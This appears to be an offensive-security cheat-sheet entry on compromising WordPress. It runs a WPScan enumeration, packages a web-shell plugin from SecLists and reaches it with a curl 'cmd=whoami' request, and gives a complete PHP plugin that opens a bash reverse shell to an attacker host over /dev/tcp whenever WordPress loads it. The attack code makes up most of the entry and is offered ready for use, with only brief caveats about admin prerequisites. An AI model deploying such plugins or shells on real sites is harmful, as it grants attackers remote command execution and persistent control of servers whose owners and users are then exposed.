WordPress: scanning and plugin compromise
Enumerate WordPress weaknesses with WPScan, then package a plugin that serves a web shell or a reverse shell.
Vulnerability scan
wpscan --url $WP_URL --api-token $WPSCAN_TOKEN --updateResources:
Plugin compromise
Installing and activating a plugin requires plugin-management permissions and may be disabled by site policy. This uses existing administrative access to run code; it is not an unauthenticated WordPress vulnerability.
Simple method
Create the package from the plugin available in SecLists.
cp /usr/share/seclists/Web-Shells/WordPress/plugin-shell.php .
zip plugin-shell.zip plugin-shell.phpOnce uploaded and activated, the web shell can be reached as follows:
curl "$WP_URL/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=whoami"Custom method
Custom plugin alternative
The plugin attempts a reverse shell whenever WordPress loads it. This changes site code and can affect normal requests.
<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: Vince Matteo
* Author URI: http://www.sevenlayers.com
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'");
?>
zip revshell-plugin.zip ./revshell-plugin.phpProvenance and confidence
- Version
- 2
- Sources reviewed
- 2026-11-23
- Confidence
- medium — Legacy RTFM; v2 editorial review on 2026-11-23 adds plugin-management prerequisites and corrects shell interpolation. No plugin deployed.
Also searched as: wordpress, wpscan, plugin wordpress, shell wordpress, compromission de plugin